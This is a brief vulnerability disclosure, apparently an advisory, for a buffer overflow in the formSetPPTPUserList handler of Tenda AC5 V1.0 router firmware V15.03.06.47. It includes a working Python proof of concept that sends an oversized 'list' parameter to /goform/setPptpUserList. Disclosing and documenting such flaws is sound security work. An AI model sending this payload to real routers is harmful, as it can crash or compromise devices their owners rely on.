AC5 V1.0 V15.03.06.47
The Tenda AC5 V1.0 V15.03.06.47 firmware has a buffer overflow vulnerability in the formSetPPTPUserList function. The Var variable receives the list parameter from a POST request and is later passed to the strspn function. However, since the Since user can control the input of list, the statemeant v4 = strspn(Var, "~"); can cause a buffer overflow.
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/setPptpUserList'
payload = b'a' * 1000
data = {
'list':payload
}
requests.post(url, data=data)
